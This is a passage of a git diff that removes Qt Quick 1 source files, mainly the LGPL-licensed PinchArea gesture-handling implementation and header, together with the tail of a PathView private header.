scheduleLayout() { - Q_Q(QDeclarative1PathView); - if (!layoutScheduled) { - layoutScheduled = true; - QCoreApplication::postEvent(q, new QEvent(QEvent::User), Qt::HighEventPriority); - } - } - - QDeclarativeItem *getItem(int modelIndex); - void releaseItem(QDeclarativeItem *item); - QDeclarative1PathViewAttached *attached(QDeclarativeItem *item); - void clear(); - void updateMappedRange(); - qreal positionOfIndex(qreal index) const; - void createHighlight(); - void updateHighlight(); - void setHighlightPosition(qreal pos); - bool isValid() const { - return model && model->count() > 0 && model->isValid() && path; - } - - void handleMousePressEvent(QGraphicsSceneMouseEvent *event); - void handleMouseMoveEvent(QGraphicsSceneMouseEvent *event); - void handleMouseReleaseEvent(QGraphicsSceneMouseEvent *); - - int calcCurrentIndex(); - void updateCurrent(); - static void fixOffsetCallback(void*); - void fixOffset(); - void setOffset(qreal offset); - void setAdjustedOffset(qreal offset); - void regenerate(); - void updateItem(QDeclarativeItem *, qreal); - void snapToCurrent(); - QPointF pointNear(const QPointF &point, qreal *nearPercent=0) const; - - QDeclarative1Path *path; - int currentIndex; - QDeclarativeGuard currentItem; - qreal currentItemOffset; - qreal startPc; - QPointF startPoint; - qreal lastDist; - int lastElapsed; - qreal offset; - qreal offsetAdj; - qreal mappedRange; - bool stealMouse : 1; - bool ownModel : 1; - bool interactive : 1; - bool haveHighlightRange : 1; - bool autoHighlight : 1; - bool highlightUp : 1; - bool layoutScheduled : 1; - bool moving : 1; - bool flicking : 1; - QElapsedTimer lastPosTime; - QPointF lastPos; - qreal dragMargin; - qreal deceleration; - QDeclarative1TimeLine tl; - QDeclarative1TimeLineValueProxy moveOffset; - int firstIndex; - int pathItems; - int requestedIndex; - QList items; - QList itemCache; - QDeclarativeGuard model; - QVariant modelVariant; - enum MovementReason { Other, SetIndex, Mouse }; - MovementReason moveReason; - enum MovementDirection { Shortest, Negative, Positive }; - MovementDirection moveDirection; - QDeclarative1OpenMetaObjectType *attType; - QDeclarativeComponent *highlightComponent; - QDeclarativeItem *highlightItem; - QDeclarative1TimeLineValueProxy moveHighlight; - qreal highlightPosition; - qreal highlightRangeStart; - qreal highlightRangeEnd; - QDeclarative1PathView::HighlightRangeMode highlightRangeMode; - int highlightMoveDuration; - int modelCount; -}; - -QT_END_NAMESPACE - -#endif diff --git a/src/qtquick1/graphicsitems/qdeclarativepincharea.cpp b/src/qtquick1/graphicsitems/qdeclarativepincharea.cpp deleted file mode 100644 index f9bc3a5ff3..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativepincharea.cpp +++ /dev/null @@ -1,613 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativepincharea_p.h" -#include "QtQuick1/private/qdeclarativepincharea_p_p.h" - -#include -#include - -#include -#include - -QT_BEGIN_NAMESPACE - - - - -/*! - \qmlclass PinchEvent QDeclarative1PinchEvent - \inqmlmodule QtQuick 1 - \ingroup qml-event-elements - \brief The PinchEvent object provides information about a pinch event. - - \bold {The PinchEvent element was added in QtQuick 1.1} - - The \c center, \c startCenter, \c previousCenter properties provide the center position between the two touch points. - - The \c scale and \c previousScale properties provide the scale factor. - - The \c angle, \c previousAngle and \c rotation properties provide the angle between the two points and the amount of rotation. - - The \c point1, \c point2, \c startPoint1, \c startPoint2 properties provide the positions of the touch points. - - The \c accepted property may be set to false in the \c onPinchStarted handler if the gesture should not - be handled. - - \sa PinchArea -*/ - -/*! - \qmlproperty QPointF QtQuick1::PinchEvent::center - \qmlproperty QPointF QtQuick1::PinchEvent::startCenter - \qmlproperty QPointF QtQuick1::PinchEvent::previousCenter - - These properties hold the position of the center point between the two touch points. - - \list - \o \c center is the current center point - \o \c previousCenter is the center point of the previous event. - \o \c startCenter is the center point when the gesture began - \endlist -*/ - -/*! - \qmlproperty real QtQuick1::PinchEvent::scale - \qmlproperty real QtQuick1::PinchEvent::previousScale - - These properties hold the scale factor determined by the change in distance between the two touch points. - - \list - \o \c scale is the current scale factor. - \o \c previousScale is the scale factor of the previous event. - \endlist - - When a pinch gesture is started, the scale is 1.0. -*/ - -/*! - \qmlproperty real QtQuick1::PinchEvent::angle - \qmlproperty real QtQuick1::PinchEvent::previousAngle - \qmlproperty real QtQuick1::PinchEvent::rotation - - These properties hold the angle between the two touch points. - - \list - \o \c angle is the current angle between the two points in the range -180 to 180. - \o \c previousAngle is the angle of the previous event. - \o \c rotation is the total rotation since the pinch gesture started. - \endlist - - When a pinch gesture is started, the rotation is 0.0. -*/ - -/*! - \qmlproperty QPointF QtQuick1::PinchEvent::point1 - \qmlproperty QPointF QtQuick1::PinchEvent::startPoint1 - \qmlproperty QPointF QtQuick1::PinchEvent::point2 - \qmlproperty QPointF QtQuick1::PinchEvent::startPoint2 - - These properties provide the actual touch points generating the pinch. - - \list - \o \c point1 and \c point2 hold the current positions of the points. - \o \c startPoint1 and \c startPoint2 hold the positions of the points when the second point was touched. - \endlist -*/ - -/*! - \qmlproperty bool QtQuick1::PinchEvent::accepted - - Setting this property to false in the \c PinchArea::onPinchStarted handler - will result in no further pinch events being generated, and the gesture - ignored. -*/ - -/*! - \qmlproperty int QtQuick1::PinchEvent::pointCount - - Holds the number of points currently touched. The PinchArea will not react - until two touch points have initited a gesture, but will remain active until - all touch points have been released. -*/ - -QDeclarative1Pinch::QDeclarative1Pinch() - : m_target(0), m_minScale(1.0), m_maxScale(1.0) - , m_minRotation(0.0), m_maxRotation(0.0) - , m_axis(NoDrag), m_xmin(-FLT_MAX), m_xmax(FLT_MAX) - , m_ymin(-FLT_MAX), m_ymax(FLT_MAX), m_active(false) -{ -} - -QDeclarative1PinchAreaPrivate::~QDeclarative1PinchAreaPrivate() -{ - delete pinch; -} - -/*! - \qmlclass PinchArea QDeclarative1PinchArea - \inqmlmodule QtQuick 1 - \brief The PinchArea item enables simple pinch gesture handling. - \inherits Item - - \bold {The PinchArea element was added in QtQuick 1.1} - - A PinchArea is an invisible item that is typically used in conjunction with - a visible item in order to provide pinch gesture handling for that item. - - The \l enabled property is used to enable and disable pinch handling for - the proxied item. When disabled, the pinch area becomes transparent to - mouse/touch events. - - PinchArea can be used in two ways: - - \list - \o setting a \c pinch.target to provide automatic interaction with an element - \o using the onPinchStarted, onPinchUpdated and onPinchFinished handlers - \endlist - - \sa PinchEvent -*/ - -/*! - \qmlsignal QtQuick1::PinchArea::onPinchStarted() - - This handler is called when the pinch area detects that a pinch gesture has started. - - The \l {PinchEvent}{pinch} parameter provides information about the pinch gesture, - including the scale, center and angle of the pinch. - - To ignore this gesture set the \c pinch.accepted property to false. The gesture - will be cancelled and no further events will be sent. -*/ - -/*! - \qmlsignal QtQuick1::PinchArea::onPinchUpdated() - - This handler is called when the pinch area detects that a pinch gesture has changed. - - The \l {PinchEvent}{pinch} parameter provides information about the pinch gesture, - including the scale, center and angle of the pinch. -*/ - -/*! - \qmlsignal QtQuick1::PinchArea::onPinchFinished() - - This handler is called when the pinch area detects that a pinch gesture has finished. - - The \l {PinchEvent}{pinch} parameter provides information about the pinch gesture, - including the scale, center and angle of the pinch. -*/ - - -/*! - \qmlproperty Item QtQuick1::PinchArea::pinch.target - \qmlproperty bool QtQuick1::PinchArea::pinch.active - \qmlproperty real QtQuick1::PinchArea::pinch.minimumScale - \qmlproperty real QtQuick1::PinchArea::pinch.maximumScale - \qmlproperty real QtQuick1::PinchArea::pinch.minimumRotation - \qmlproperty real QtQuick1::PinchArea::pinch.maximumRotation - \qmlproperty enumeration QtQuick1::PinchArea::pinch.dragAxis - \qmlproperty real QtQuick1::PinchArea::pinch.minimumX - \qmlproperty real QtQuick1::PinchArea::pinch.maximumX - \qmlproperty real QtQuick1::PinchArea::pinch.minimumY - \qmlproperty real QtQuick1::PinchArea::pinch.maximumY - - \c pinch provides a convenient way to make an item react to pinch gestures. - - \list - \i \c pinch.target specifies the id of the item to drag. - \i \c pinch.active specifies if the target item is currently being dragged. - \i \c pinch.minimumScale and \c pinch.maximumScale limit the range of the Item::scale property. - \i \c pinch.minimumRotation and \c pinch.maximumRotation limit the range of the Item::rotation property. - \i \c pinch.dragAxis specifies whether dragging in not allowed (\c Pinch.NoDrag), can be done horizontally (\c Pinch.XAxis), vertically (\c Pinch.YAxis), or both (\c Pinch.XandYAxis) - \i \c pinch.minimum and \c pinch.maximum limit how far the target can be dragged along the corresponding axes. - \endlist -*/ - -QDeclarative1PinchArea::QDeclarative1PinchArea(QDeclarativeItem *parent) - : QDeclarativeItem(*(new QDeclarative1PinchAreaPrivate), parent) -{ - Q_D(QDeclarative1PinchArea); - d->init(); -} - -QDeclarative1PinchArea::~QDeclarative1PinchArea() -{ -} - -/*! - \qmlproperty bool QtQuick1::PinchArea::enabled - This property holds whether the item accepts pinch gestures. - - This property defaults to true. -*/ -bool QDeclarative1PinchArea::isEnabled() const -{ - Q_D(const QDeclarative1PinchArea); - return d->absorb; -} - -void QDeclarative1PinchArea::setEnabled(bool a) -{ - Q_D(QDeclarative1PinchArea); - if (a != d->absorb) { - d->absorb = a; - emit enabledChanged(); - } -} - -bool QDeclarative1PinchArea::event(QEvent *event) -{ - Q_D(QDeclarative1PinchArea); - if (!d->absorb || !isVisible()) - return QDeclarativeItem::event(event); - switch (event->type()) { - case QEvent::TouchBegin: - case QEvent::TouchUpdate: { - QTouchEvent *touch = static_cast(event); - d->touchPoints.clear(); - for (int i = 0; i < touch->touchPoints().count(); ++i) { - if (!(touch->touchPoints().at(i).state() & Qt::TouchPointReleased)) { - d->touchPoints << touch->touchPoints().at(i); - } - } - updatePinch(); - } - return true; - case QEvent::TouchEnd: - d->touchPoints.clear(); - updatePinch(); - break; - default: - return QDeclarativeItem::event(event); - } - - return QDeclarativeItem::event(event); -} - -void QDeclarative1PinchArea::updatePinch() -{ - Q_D(QDeclarative1PinchArea); - if (d->touchPoints.count() == 0) { - if (d->inPinch) { - d->stealMouse = false; - setKeepMouseGrab(false); - d->inPinch = false; - QPointF pinchCenter = mapFromScene(d->sceneLastCenter); - QDeclarative1PinchEvent pe(pinchCenter, d->pinchLastScale, d->pinchLastAngle, d->pinchRotation); - pe.setStartCenter(d->pinchStartCenter); - pe.setPreviousCenter(pinchCenter); - pe.setPreviousAngle(d->pinchLastAngle); - pe.setPreviousScale(d->pinchLastScale); - pe.setStartPoint1(mapFromScene(d->sceneStartPoint1)); - pe.setStartPoint2(mapFromScene(d->sceneStartPoint2)); - pe.setPoint1(mapFromScene(d->lastPoint1)); - pe.setPoint2(mapFromScene(d->lastPoint2)); - emit pinchFinished(&pe); - d->pinchStartDist = 0; - d->pinchActivated = false; - if (d->pinch && d->pinch->target()) - d->pinch->setActive(false); - } - return; - } - QTouchEvent::TouchPoint touchPoint1 = d->touchPoints.at(0); - QTouchEvent::TouchPoint touchPoint2 = d->touchPoints.at(d->touchPoints. count() >= 2 ? 1 : 0); - if (d->touchPoints.count() == 2 - && (touchPoint1.state() & Qt::TouchPointPressed || touchPoint2.state() & Qt::TouchPointPressed)) { - d->id1 = touchPoint1.id(); - d->sceneStartPoint1 = touchPoint1.scenePos(); - d->sceneStartPoint2 = touchPoint2.scenePos(); - d->inPinch = false; - d->pinchRejected = false; - d->pinchActivated = true; - } else if (d->pinchActivated && !d->pinchRejected) { - const int dragThreshold = QApplication::startDragDistance(); - QPointF p1 = touchPoint1.scenePos(); - QPointF p2 = touchPoint2.scenePos(); - qreal dx = p1.x() - p2.x(); - qreal dy = p1.y() - p2.y(); - qreal dist = sqrt(dx*dx + dy*dy); - QPointF sceneCenter = (p1 + p2)/2; - qreal angle = QLineF(p1, p2).angle(); - if (d->touchPoints.count() == 1) { - // If we only have one point then just move the center - if (d->id1 == touchPoint1.id()) - sceneCenter = d->sceneLastCenter + touchPoint1.scenePos() - d->lastPoint1; - else - sceneCenter = d->sceneLastCenter + touchPoint2.scenePos() - d->lastPoint2; - angle = d->pinchLastAngle; - } - d->id1 = touchPoint1.id(); - if (angle > 180) - angle -= 360; - if (!d->inPinch) { - if (d->touchPoints.count() >= 2 - && (qAbs(p1.x()-d->sceneStartPoint1.x()) > dragThreshold - || qAbs(p1.y()-d->sceneStartPoint1.y()) > dragThreshold - || qAbs(p2.x()-d->sceneStartPoint2.x()) > dragThreshold - || qAbs(p2.y()-d->sceneStartPoint2.y()) > dragThreshold)) { - d->sceneStartCenter = sceneCenter; - d->sceneLastCenter = sceneCenter; - d->pinchStartCenter = mapFromScene(sceneCenter); - d->pinchStartDist = dist; - d->pinchStartAngle = angle; - d->pinchLastScale = 1.0; - d->pinchLastAngle = angle; - d->pinchRotation = 0.0; - d->lastPoint1 = p1; - d->lastPoint2 = p2; - QDeclarative1PinchEvent pe(d->pinchStartCenter, 1.0, angle, 0.0); - pe.setStartCenter(d->pinchStartCenter); - pe.setPreviousCenter(d->pinchStartCenter); - pe.setPreviousAngle(d->pinchLastAngle); - pe.setPreviousScale(d->pinchLastScale); - pe.setStartPoint1(mapFromScene(d->sceneStartPoint1)); - pe.setStartPoint2(mapFromScene(d->sceneStartPoint2)); - pe.setPoint1(mapFromScene(d->lastPoint1)); - pe.setPoint2(mapFromScene(d->lastPoint2)); - pe.setPointCount(d->touchPoints.count()); - emit pinchStarted(&pe); - if (pe.accepted()) { - d->inPinch = true; - d->stealMouse = true; - QGraphicsScene *s = scene(); - if (s && s->mouseGrabberItem() != this) - grabMouse(); - setKeepMouseGrab(true); - if (d->pinch && d->pinch->target()) { - d->pinchStartPos = pinch()->target()->pos(); - d->pinchStartScale = d->pinch->target()->scale(); - d->pinchStartRotation = d->pinch->target()->rotation(); - d->pinch->setActive(true); - } - } else { - d->pinchRejected = true; - } - } - } else if (d->pinchStartDist > 0) { - qreal scale = dist ? dist / d->pinchStartDist : d->pinchLastScale; - qreal da = d->pinchLastAngle - angle; - if (da > 180) - da -= 360; - else if (da < -180) - da += 360; - d->pinchRotation += da; - QPointF pinchCenter = mapFromScene(sceneCenter); - QDeclarative1PinchEvent pe(pinchCenter, scale, angle, d->pinchRotation); - pe.setStartCenter(d->pinchStartCenter); - pe.setPreviousCenter(mapFromScene(d->sceneLastCenter)); - pe.setPreviousAngle(d->pinchLastAngle); - pe.setPreviousScale(d->pinchLastScale); - pe.setStartPoint1(mapFromScene(d->sceneStartPoint1)); - pe.setStartPoint2(mapFromScene(d->sceneStartPoint2)); - pe.setPoint1(touchPoint1.pos()); - pe.setPoint2(touchPoint2.pos()); - pe.setPointCount(d->touchPoints.count()); - d->pinchLastScale = scale; - d->sceneLastCenter = sceneCenter; - d->pinchLastAngle = angle; - d->lastPoint1 = touchPoint1.scenePos(); - d->lastPoint2 = touchPoint2.scenePos(); - emit pinchUpdated(&pe); - if (d->pinch && d->pinch->target()) { - qreal s = d->pinchStartScale * scale; - s = qMin(qMax(pinch()->minimumScale(),s), pinch()->maximumScale()); - pinch()->target()->setScale(s); - QPointF pos = sceneCenter - d->sceneStartCenter + d->pinchStartPos; - if (pinch()->axis() & QDeclarative1Pinch::XAxis) { - qreal x = pos.x(); - if (x < pinch()->xmin()) - x = pinch()->xmin(); - else if (x > pinch()->xmax()) - x = pinch()->xmax(); - pinch()->target()->setX(x); - } - if (pinch()->axis() & QDeclarative1Pinch::YAxis) { - qreal y = pos.y(); - if (y < pinch()->ymin()) - y = pinch()->ymin(); - else if (y > pinch()->ymax()) - y = pinch()->ymax(); - pinch()->target()->setY(y); - } - if (d->pinchStartRotation >= pinch()->minimumRotation() - && d->pinchStartRotation <= pinch()->maximumRotation()) { - qreal r = d->pinchRotation + d->pinchStartRotation; - r = qMin(qMax(pinch()->minimumRotation(),r), pinch()->maximumRotation()); - pinch()->target()->setRotation(r); - } - } - } - } -} - -void QDeclarative1PinchArea::mousePressEvent(QGraphicsSceneMouseEvent *event) -{ - Q_D(QDeclarative1PinchArea); - d->stealMouse = false; - if (!d->absorb) - QDeclarativeItem::mousePressEvent(event); - else { - setKeepMouseGrab(false); - event->setAccepted(true); - } -} - -void QDeclarative1PinchArea::mouseMoveEvent(QGraphicsSceneMouseEvent *event) -{ - Q_D(QDeclarative1PinchArea); - if (!d->absorb) { - QDeclarativeItem::mouseMoveEvent(event); - return; - } -} - -void QDeclarative1PinchArea::mouseReleaseEvent(QGraphicsSceneMouseEvent *event) -{ - Q_D(QDeclarative1PinchArea); - d->stealMouse = false; - if (!d->absorb) { - QDeclarativeItem::mouseReleaseEvent(event); - } else { - QGraphicsScene *s = scene(); - if (s && s->mouseGrabberItem() == this) - ungrabMouse(); - setKeepMouseGrab(false); - } -} - -bool QDeclarative1PinchArea::sceneEvent(QEvent *event) -{ - bool rv = QDeclarativeItem::sceneEvent(event); - if (event->type() == QEvent::UngrabMouse) { - setKeepMouseGrab(false); - } - return rv; -} - -bool QDeclarative1PinchArea::sendMouseEvent(QGraphicsSceneMouseEvent *event) -{ - Q_D(QDeclarative1PinchArea); - QGraphicsSceneMouseEvent mouseEvent(event->type()); - QRectF myRect = mapToScene(QRectF(0, 0, width(), height())).boundingRect(); - - QGraphicsScene *s = scene(); - QDeclarativeItem *grabber = s ? qobject_cast(s->mouseGrabberItem()) : 0; - bool stealThisEvent = d->stealMouse; - if ((stealThisEvent || myRect.contains(event->scenePos().toPoint())) && (!grabber || !grabber->keepMouseGrab())) { - mouseEvent.setAccepted(false); - for (int i = 0x1; i <= 0x10; i <<= 1) { - if (event->buttons() & i) { - Qt::MouseButton button = Qt::MouseButton(i); - mouseEvent.setButtonDownPos(button, mapFromScene(event->buttonDownPos(button))); - } - } - mouseEvent.setScenePos(event->scenePos()); - mouseEvent.setLastScenePos(event->lastScenePos()); - mouseEvent.setPos(mapFromScene(event->scenePos())); - mouseEvent.setLastPos(mapFromScene(event->lastScenePos())); - - switch(mouseEvent.type()) { - case QEvent::GraphicsSceneMouseMove: - mouseMoveEvent(&mouseEvent); - break; - case QEvent::GraphicsSceneMousePress: - mousePressEvent(&mouseEvent); - break; - case QEvent::GraphicsSceneMouseRelease: - mouseReleaseEvent(&mouseEvent); - break; - default: - break; - } - grabber = qobject_cast(s->mouseGrabberItem()); - if (grabber && stealThisEvent && !grabber->keepMouseGrab() && grabber != this) - grabMouse(); - - return stealThisEvent; - } - if (mouseEvent.type() == QEvent::GraphicsSceneMouseRelease) { - d->stealMouse = false; - if (s && s->mouseGrabberItem() == this) - ungrabMouse(); - setKeepMouseGrab(false); - } - return false; -} - -bool QDeclarative1PinchArea::sceneEventFilter(QGraphicsItem *i, QEvent *e) -{ - Q_D(QDeclarative1PinchArea); - if (!d->absorb || !isVisible()) - return QDeclarativeItem::sceneEventFilter(i, e); - switch (e->type()) { - case QEvent::GraphicsSceneMousePress: - case QEvent::GraphicsSceneMouseMove: - case QEvent::GraphicsSceneMouseRelease: - return sendMouseEvent(static_cast(e)); - break; - case QEvent::TouchBegin: - case QEvent::TouchUpdate: { - QTouchEvent *touch = static_cast(e); - d->touchPoints.clear(); - for (int i = 0; i < touch->touchPoints().count(); ++i) - if (!(touch->touchPoints().at(i).state() & Qt::TouchPointReleased)) - d->touchPoints << touch->touchPoints().at(i); - updatePinch(); - } - return d->inPinch; - case QEvent::TouchEnd: - d->touchPoints.clear(); - updatePinch(); - break; - default: - break; - } - - return QDeclarativeItem::sceneEventFilter(i, e); -} - -void QDeclarative1PinchArea::geometryChanged(const QRectF &newGeometry, - const QRectF &oldGeometry) -{ - QDeclarativeItem::geometryChanged(newGeometry, oldGeometry); -} - -QVariant QDeclarative1PinchArea::itemChange(GraphicsItemChange change, - const QVariant &value) -{ - return QDeclarativeItem::itemChange(change, value); -} - -QDeclarative1Pinch *QDeclarative1PinchArea::pinch() -{ - Q_D(QDeclarative1PinchArea); - if (!d->pinch) - d->pinch = new QDeclarative1Pinch; - return d->pinch; -} - - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/graphicsitems/qdeclarativepincharea_p.h b/src/qtquick1/graphicsitems/qdeclarativepincharea_p.h deleted file mode 100644 index 01f8b92524..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativepincharea_p.h +++ /dev/null @@ -1,312 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEPINCHAREA_H -#define QDECLARATIVEPINCHAREA_H - -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class Q_AUTOTEST_EXPORT QDeclarative1Pinch : public QObject -{ - Q_OBJECT - - Q_ENUMS(Axis) - Q_PROPERTY(QGraphicsObject *target READ target WRITE setTarget RESET resetTarget) - Q_PROPERTY(qreal minimumScale READ minimumScale WRITE setMinimumScale NOTIFY minimumScaleChanged) - Q_PROPERTY(qreal maximumScale READ maximumScale WRITE setMaximumScale NOTIFY maximumScaleChanged) - Q_PROPERTY(qreal minimumRotation READ minimumRotation WRITE setMinimumRotation NOTIFY minimumRotationChanged) - Q_PROPERTY(qreal maximumRotation READ maximumRotation WRITE setMaximumRotation NOTIFY maximumRotationChanged) - Q_PROPERTY(Axis dragAxis READ axis WRITE setAxis NOTIFY dragAxisChanged) - Q_PROPERTY(qreal minimumX READ xmin WRITE setXmin NOTIFY minimumXChanged) - Q_PROPERTY(qreal maximumX READ xmax WRITE setXmax NOTIFY maximumXChanged) - Q_PROPERTY(qreal minimumY READ ymin WRITE setYmin NOTIFY minimumYChanged) - Q_PROPERTY(qreal maximumY READ ymax WRITE setYmax NOTIFY maximumYChanged) - Q_PROPERTY(bool active READ active NOTIFY activeChanged) - -public: - QDeclarative1Pinch(); - - QGraphicsObject *target() const { return m_target; } - void setTarget(QGraphicsObject *target) { - if (target == m_target) - return; - m_target = target; - emit targetChanged(); - } - void resetTarget() { - if (!m_target) - return; - m_target = 0; - emit targetChanged(); - } - - qreal minimumScale() const { return m_minScale; } - void setMinimumScale(qreal s) { - if (s == m_minScale) - return; - m_minScale = s; - emit minimumScaleChanged(); - } - qreal maximumScale() const { return m_maxScale; } - void setMaximumScale(qreal s) { - if (s == m_maxScale) - return; - m_maxScale = s; - emit maximumScaleChanged(); - } - - qreal minimumRotation() const { return m_minRotation; } - void setMinimumRotation(qreal r) { - if (r == m_minRotation) - return; - m_minRotation = r; - emit minimumRotationChanged(); - } - qreal maximumRotation() const { return m_maxRotation; } - void setMaximumRotation(qreal r) { - if (r == m_maxRotation) - return; - m_maxRotation = r; - emit maximumRotationChanged(); - } - - enum Axis { NoDrag=0x00, XAxis=0x01, YAxis=0x02, XandYAxis=0x03 }; - Axis axis() const { return m_axis; } - void setAxis(Axis a) { - if (a == m_axis) - return; - m_axis = a; - emit dragAxisChanged(); - } - - qreal xmin() const { return m_xmin; } - void setXmin(qreal x) { - if (x == m_xmin) - return; - m_xmin = x; - emit minimumXChanged(); - } - qreal xmax() const { return m_xmax; } - void setXmax(qreal x) { - if (x == m_xmax) - return; - m_xmax = x; - emit maximumXChanged(); - } - qreal ymin() const { return m_ymin; } - void setYmin(qreal y) { - if (y == m_ymin) - return; - m_ymin = y; - emit minimumYChanged(); - } - qreal ymax() const { return m_ymax; } - void setYmax(qreal y) { - if (y == m_ymax) - return; - m_ymax = y; - emit maximumYChanged(); - } - - bool active() const { return m_active; } - void setActive(bool a) { - if (a == m_active) - return; - m_active = a; - emit activeChanged(); - } - -signals: - void targetChanged(); - void minimumScaleChanged(); - void maximumScaleChanged(); - void minimumRotationChanged(); - void maximumRotationChanged(); - void dragAxisChanged(); - void minimumXChanged(); - void maximumXChanged(); - void minimumYChanged(); - void maximumYChanged(); - void activeChanged(); - -private: - QGraphicsObject *m_target; - qreal m_minScale; - qreal m_maxScale; - qreal m_minRotation; - qreal m_maxRotation; - Axis m_axis; - qreal m_xmin; - qreal m_xmax; - qreal m_ymin; - qreal m_ymax; - bool m_active; -}; - -class Q_AUTOTEST_EXPORT QDeclarative1PinchEvent : public QObject -{ - Q_OBJECT - - Q_PROPERTY(QPointF center READ center) - Q_PROPERTY(QPointF startCenter READ startCenter) - Q_PROPERTY(QPointF previousCenter READ previousCenter) - Q_PROPERTY(qreal scale READ scale) - Q_PROPERTY(qreal previousScale READ previousScale) - Q_PROPERTY(qreal angle READ angle) - Q_PROPERTY(qreal previousAngle READ previousAngle) - Q_PROPERTY(qreal rotation READ rotation) - Q_PROPERTY(QPointF point1 READ point1) - Q_PROPERTY(QPointF startPoint1 READ startPoint1) - Q_PROPERTY(QPointF point2 READ point2) - Q_PROPERTY(QPointF startPoint2 READ startPoint2) - Q_PROPERTY(int pointCount READ pointCount) - Q_PROPERTY(bool accepted READ accepted WRITE setAccepted) - -public: - QDeclarative1PinchEvent(QPointF c, qreal s, qreal a, qreal r) - : QObject(), m_center(c), m_scale(s), m_angle(a), m_rotation(r) - , m_pointCount(0), m_accepted(true) {} - - QPointF center() const { return m_center; } - QPointF startCenter() const { return m_startCenter; } - void setStartCenter(QPointF c) { m_startCenter = c; } - QPointF previousCenter() const { return m_lastCenter; } - void setPreviousCenter(QPointF c) { m_lastCenter = c; } - qreal scale() const { return m_scale; } - qreal previousScale() const { return m_lastScale; } - void setPreviousScale(qreal s) { m_lastScale = s; } - qreal angle() const { return m_angle; } - qreal previousAngle() const { return m_lastAngle; } - void setPreviousAngle(qreal a) { m_lastAngle = a; } - qreal rotation() const { return m_rotation; } - QPointF point1() const { return m_point1; } - void setPoint1(QPointF p) { m_point1 = p; } - QPointF startPoint1() const { return m_startPoint1; } - void setStartPoint1(QPointF p) { m_startPoint1 = p; } - QPointF point2() const { return m_point2; } - void setPoint2(QPointF p) { m_point2 = p; } - QPointF startPoint2() const { return m_startPoint2; } - void setStartPoint2(QPointF p) { m_startPoint2 = p; } - int pointCount() const { return m_pointCount; } - void setPointCount(int count) { m_pointCount = count; } - - bool accepted() const { return m_accepted; } - void setAccepted(bool a) { m_accepted = a; } - -private: - QPointF m_center; - QPointF m_startCenter; - QPointF m_lastCenter; - qreal m_scale; - qreal m_lastScale; - qreal m_angle; - qreal m_lastAngle; - qreal m_rotation; - QPointF m_point1; - QPointF m_point2; - QPointF m_startPoint1; - QPointF m_startPoint2; - int m_pointCount; - bool m_accepted; -}; - - -class QDeclarative1MouseEvent; -class QDeclarative1PinchAreaPrivate; -class Q_AUTOTEST_EXPORT QDeclarative1PinchArea : public QDeclarativeItem -{ - Q_OBJECT - - Q_PROPERTY(bool enabled READ isEnabled WRITE setEnabled NOTIFY enabledChanged) - Q_PROPERTY(QDeclarative1Pinch *pinch READ pinch CONSTANT) - -public: - QDeclarative1PinchArea(QDeclarativeItem *parent=0); - ~QDeclarative1PinchArea(); - - bool isEnabled() const; - void setEnabled(bool); - - QDeclarative1Pinch *pinch(); - -Q_SIGNALS: - void enabledChanged(); - void pinchStarted(QDeclarative1PinchEvent *pinch); - void pinchUpdated(QDeclarative1PinchEvent *pinch); - void pinchFinished(QDeclarative1PinchEvent *pinch); - -protected: - void mousePressEvent(QGraphicsSceneMouseEvent *event); - void mouseReleaseEvent(QGraphicsSceneMouseEvent *event); - void mouseMoveEvent(QGraphicsSceneMouseEvent *event); - bool sceneEvent(QEvent *); - bool sendMouseEvent(QGraphicsSceneMouseEvent *event); - bool sceneEventFilter(QGraphicsItem *i, QEvent *e); - bool event(QEvent *); - - virtual void geometryChanged(const QRectF &newGeometry, - const QRectF &oldGeometry); - virtual QVariant itemChange(GraphicsItemChange change, const QVariant& value); - -private: - void updatePinch(); - void handlePress(); - void handleRelease(); - -private: - Q_DISABLE_COPY(QDeclarative1PinchArea) - Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarative1PinchArea) -}; - 